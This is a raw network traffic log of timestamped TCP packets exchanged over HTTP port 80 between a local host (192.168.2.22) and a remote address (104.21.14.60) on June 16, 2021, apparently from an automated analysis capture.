Jun 16, 2021 12:05:23.228071928 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.228080988 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.228100061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.228121996 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.228131056 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.265176058 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.328234911 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328269958 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328294039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328318119 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328337908 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328361034 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328382969 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328398943 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.328404903 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328423023 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.328428030 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328449965 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.328454018 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328474998 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328495026 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.328495026 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328517914 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328536987 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.328587055 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328628063 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.328640938 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328665018 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328689098 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328712940 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328715086 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.328741074 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328753948 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.328767061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328790903 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328797102 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.328815937 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328840017 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328847885 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.328865051 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328886032 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.328903913 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.329174042 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.329420090 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.329447031 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.329469919 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.329489946 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.329494953 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.329519987 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.329547882 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.329562902 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.329571009 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.329592943 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.329592943 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.329616070 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.329636097 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.329642057 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.329667091 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.329689980 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.329713106 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.329720020 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.329762936 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.330066919 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.330403090 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.330429077 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.330451965 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.330481052 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.330490112 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.330503941 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.330523968 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.330527067 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.330549002 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.330573082 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.330581903 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.330600023 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.330609083 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.330626011 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.330653906 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.330673933 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.330681086 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.330708027 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.330723047 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.331321001 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.331351042 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.331370115 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.331373930 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.331398964 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.331409931 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.331420898 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.331446886 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.331456900 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.331470013 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.331490993 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.331505060 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.331510067 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.331532955 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.331543922 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.331554890 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.331579924 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.331597090 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.331604004 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.331648111 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.332259893 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.332288980 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.332313061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.332324028 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.332338095 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.332362890 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.332371950 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.332386017 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.332411051 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.332422972 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.332434893 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.332459927 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.332473040 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.332480907 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.332503080 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.332523108 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.332523108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.332547903 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.332554102 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.332922935 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.333200932 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.333226919 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.333246946 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.333268881 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.333281040 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.333295107 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.333316088 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.333318949 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.333344936 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.333357096 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.333369970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.333393097 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.333415985 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.333419085 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.333446980 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.333457947 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.333472013 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.333493948 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.333515882 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.334145069 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.334170103 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.334192038 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.334197044 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.334223032 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.334233046 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.334247112 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.334270000 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.334291935 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.334295034 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.334309101 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.334330082 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.334331989 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.334347010 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.334366083 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.334379911 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.334388018 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.334409952 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.334438086 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.335052967 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.335107088 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.335148096 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.335169077 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.335186005 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.335192919 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.335217953 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.335238934 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.335242987 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.335266113 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.335272074 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.335292101 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.335314989 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.335339069 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.335731030 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.335757971 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.335779905 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.335784912 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.335799932 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.335927963 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.336004972 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336030960 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336052895 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336076021 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.336081982 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336105108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336121082 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336143017 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336158991 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.336165905 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336191893 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336218119 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.336668015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336689949 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336713076 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336721897 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.336740017 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336747885 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.336765051 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336788893 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336805105 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.336812019 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336838007 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336847067 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.336863041 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336885929 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336909056 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.336910009 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336934090 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336956024 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.336956024 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.337004900 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.337618113 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.337645054 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.337668896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.337687969 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.337696075 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.337723970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.337735891 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.337749958 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.337773085 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.337795973 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.337804079 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.337820053 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.337843895 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.337852955 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.337867975 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.337894917 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.337918997 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.337918997 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.337969065 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.338587046 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.338613033 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.338639021 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.338664055 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.338675022 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.338686943 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.338711977 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.338721991 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.338736057 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.338758945 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.338767052 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.338782072 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.338804960 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.341527939 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.372091055 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372122049 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372143984 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372165918 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372184038 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.372189045 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372210026 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.372210979 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372235060 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372246981 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.372258902 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372284889 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372297049 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.372308969 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372332096 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372343063 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.372349024 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372374058 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372385979 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.372395039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372416973 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372437954 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372447014 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.372464895 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372488022 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.372531891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372554064 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372564077 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.372576952 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372597933 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372606993 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.372622967 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372646093 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372653961 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.372672081 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372694969 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.372704983 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.373338938 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.373364925 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.373387098 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.373389006 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.373409986 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.373429060 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.373433113 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.373459101 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.373475075 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.373483896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.373507977 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.373521090 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.373527050 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.373548985 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.373560905 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.373570919 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.373589993 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.373733044 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.374164104 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.374188900 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.374214888 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.374216080 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.374248028 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.374260902 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.374300003 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.374326944 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.374342918 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.374356031 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.374382973 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.374398947 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.374411106 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.374432087 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.374450922 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.374456882 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.374490023 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.374505043 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.374520063 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.374571085 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.375145912 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.375180960 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.375205994 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.375231028 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.375236034 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.375260115 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.375272036 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.375283957 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.375308037 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.375319004 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.375336885 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.375368118 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.375380039 CEST	49168	80	192.168.2.22	104.21.14.60
